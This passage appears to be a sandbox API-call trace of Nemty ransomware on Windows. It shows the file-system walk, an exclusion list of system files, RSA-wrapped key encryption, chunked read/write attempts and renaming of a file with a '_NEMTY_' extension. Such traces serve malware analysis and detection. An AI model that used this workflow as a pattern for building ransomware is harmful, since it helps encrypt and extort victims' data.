HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0168.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0168.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400d0 [0168.081] Sleep (dwMilliseconds=0x5) [0168.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x17d5c450, dwHighDateTime=0x1d561e8)) [0168.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x17d5c450, dwHighDateTime=0x1d561e8)) [0168.088] GetLastError () returned 0x5 [0168.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.088] GetLastError () returned 0x5 [0168.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0168.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0168.088] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0168.088] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0168.088] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0168.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340308 [0168.088] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340308, pcchString=0x653e91c | out: pszString="hiVsmNcn81dzZe9Wzv9hT00sjdIbu47oF8XxveLq259MwVMPnw7lzKiKL7l7FrNh\r\nRflHGfnFfmTwGvL/tyYid6d4r51GMwfiGSOAmBa/6PcK94WdXxlNSipQs94l4jXp\r\nnqHH/E4fiISDQzhsUrvRlG3mkd1K/CUvKHORcvCHVNdg600e4FNBl+x4OTXqZSsC\r\nSkm+LLZWYxQ/5SAgKdqwyWCZmFA/ziiryYjsKkiRmH1S94U42OIdfOzMVbL9S1yr\r\nwR3tGhQ40To/OL5DFUO3fhz4p4aDBIgWjIB5/2RrBCLazWclZOtNtl01LmoGOGFe\r\n7NUdH6T5mFeRwtXCAztgyA==\r\n", pcchString=0x653e91c) returned 1 [0168.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0168.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0168.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0168.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0168.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340308 [0168.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0168.088] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_thunderstorm.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_thunderstorm.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.089] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0168.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0168.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.089] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.098] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.098] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.107] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.107] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.117] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.117] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.126] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.126] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.136] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.136] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.145] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.145] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.154] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.155] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.164] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.164] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.181] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.181] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.181] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.181] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.190] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.190] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.191] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.196] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.197] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.212] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.212] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340308, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0168.212] CloseHandle (hObject=0xffffffff) returned 0 [0168.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340478 [0168.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0168.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0168.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0168.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0168.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0168.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0168.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0168.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0168.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0168.213] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_thunderstorm.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_thunderstorm.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_thunderstorm.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_thunderstorm.png._nemty_kgobjgd_")) returned 0 [0168.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0168.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0168.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0168.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0168.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0168.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0168.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0168.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0168.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0168.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.213] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f3322d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86f3322d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x356b2151, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x9c38, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_windy.png", cAlternateFileName="")) returned 1 [0168.213] lstrcmpiW (lpString1="undocked_black_windy.png", lpString2=".") returned 1 [0168.213] lstrcmpiW (lpString1="undocked_black_windy.png", lpString2="..") returned 1 [0168.213] lstrcmpiW (lpString1="undocked_black_windy.png", lpString2="...") returned 1 [0168.213] lstrcmpiW (lpString1="undocked_black_windy.png", lpString2="windows") returned -1 [0168.213] lstrcmpiW (lpString1="undocked_black_windy.png", lpString2="$RECYCLE.BIN") returned 1 [0168.213] lstrcmpiW (lpString1="undocked_black_windy.png", lpString2="rsa") returned 1 [0168.213] lstrcmpiW (lpString1="undocked_black_windy.png", lpString2="NTDETECT.COM") returned 1 [0168.213] lstrcmpiW (lpString1="undocked_black_windy.png", lpString2="ntldr") returned 1 [0168.213] lstrcmpiW (lpString1="undocked_black_windy.png", lpString2="MSDOS.SYS") returned 1 [0168.213] lstrcmpiW (lpString1="undocked_black_windy.png", lpString2="IO.SYS") returned 1 [0168.213] lstrcmpiW (lpString1="undocked_black_windy.png", lpString2="boot.ini") returned 1 [0168.213] lstrcmpiW (lpString1="undocked_black_windy.png", lpString2="boot.ini") returned 1 [0168.213] lstrcmpiW (lpString1="undocked_black_windy.png", lpString2="AUTOEXEC.BAT") returned 1 [0168.213] lstrcmpiW (lpString1="undocked_black_windy.png", lpString2="ntuser.dat") returned 1 [0168.213] lstrcmpiW (lpString1="undocked_black_windy.png", lpString2="desktop.ini") returned 1 [0168.213] lstrcmpiW (lpString1="undocked_black_windy.png", lpString2="CONFIG.SYS") returned 1 [0168.213] lstrcmpiW (lpString1="undocked_black_windy.png", lpString2="RECYCLER") returned 1 [0168.213] lstrcmpiW (lpString1="undocked_black_windy.png", lpString2="BOOTSECT.BAK") returned 1 [0168.214] lstrcmpiW (lpString1="undocked_black_windy.png", lpString2="bootmgr") returned 1 [0168.214] lstrcmpiW (lpString1="undocked_black_windy.png", lpString2="programdata") returned 1 [0168.214] lstrcmpiW (lpString1="undocked_black_windy.png", lpString2="appdata") returned 1 [0168.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_windy.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0168.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_windy.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_windy.png", lpUsedDefaultChar=0x0) returned 24 [0168.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0168.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_windy.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0168.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_windy.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_windy.png", lpUsedDefaultChar=0x0) returned 24 [0168.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0168.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_windy.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0168.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_windy.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_windy.png", lpUsedDefaultChar=0x0) returned 24 [0168.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_windy.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0168.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0168.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_windy.png", cchWideChar=24, lpMultiByteStr=0x4f9ed08, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_windy.png", lpUsedDefaultChar=0x0) returned 24 [0168.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0168.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0168.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0168.214] Sleep (dwMilliseconds=0x5) [0168.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x17eb30b0, dwHighDateTime=0x1d561e8)) [0168.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x17eb30b0, dwHighDateTime=0x1d561e8)) [0168.228] GetLastError () returned 0x5 [0168.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.228] GetLastError () returned 0x5 [0168.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0168.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0168.228] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0168.228] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0168.229] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0168.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0168.229] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: 